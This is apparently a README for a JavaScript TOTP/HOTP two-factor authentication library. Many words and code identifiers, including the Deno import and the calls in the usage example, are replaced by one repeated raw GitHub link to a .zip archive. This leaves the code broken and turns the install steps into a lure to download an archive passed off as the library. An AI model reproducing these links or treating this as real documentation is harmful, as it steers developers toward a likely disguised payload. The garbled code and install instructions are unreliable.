TOTP/OTP Auth is a simple library that helps you secure your applications with two-factor authentication. It works well with popular tools like Google Authenticator and Authy. You can generate codes, create QR codes, and verify tokens without fuss. This library has no complicated setups, making it perfect for anyone.
- π Standards Compliant: Works with RFC 6238 (TOTP) and RFC 4226 (HOTP).
- π― No Extra Dependencies: Just the built-in https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip crypto features.
- π± Compatibility: Use it with all major authenticator apps.
- πΌοΈ Easy QR Code Generation: Create QR codes in SVG and Base64 formats.
- π§ TypeScript Support: Full support for TypeScript with clear definitions.
- β‘ Cross-Platform: Use in https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip, Bun, and Deno environments.
- π‘οΈ Security Focused: Perform constant-time comparisons without storing secrets.
It's easy to start using the library. You just need to download it from the Releases page and follow the setup instructions.
To get the library, visit the Releases page to download the latest version. You will find the files you need. Follow these instructions after downloading:
-
For https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip and Bun Users:
- Open your terminal or command prompt.
- Run this command to install the library:
npm install totp-otp-auth
-
For Deno Users:
- You can use the library directly in your Deno project by importing it:
import { totp } from "https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip";
- https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip Version 12.x or higher.
- Bun: Latest version recommended.
- Deno: Version 1.0 or later.
After you install the library, here is how you can generate a TOTP token:
import { totp } from 'totp-otp-auth';
const secret = 'yourSecretKey';
const token = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(secret);
// Verifying the token
const isValid = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(token, secret);
https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(`Token is valid: ${isValid}`);This example generates a TOTP token and verifies it. You can easily adapt it to your own needs.
For more detailed information, check the Wiki section. It contains guidelines and additional examples for advanced configurations and integrations.
If you want to contribute, feel free to fork the repository. You can submit pull requests for new features or bug fixes. Here's how:
- Fork the repository.
- Create a feature branch (
git checkout -b feature/YourFeature). - Commit your changes (
git commit -m 'Add some feature'). - Push to the branch (
git push origin feature/YourFeature). - Open a pull request.
Your contributions are welcome!
If you run into any issues, please refer to the Issues page. You can report bugs or ask for help there.
This project is licensed under the MIT License. You are free to use this library in your applications.
Make sure to check the LICENSE file for details.
Now you are ready to implement strong, secure authentication in your applications! Happy coding!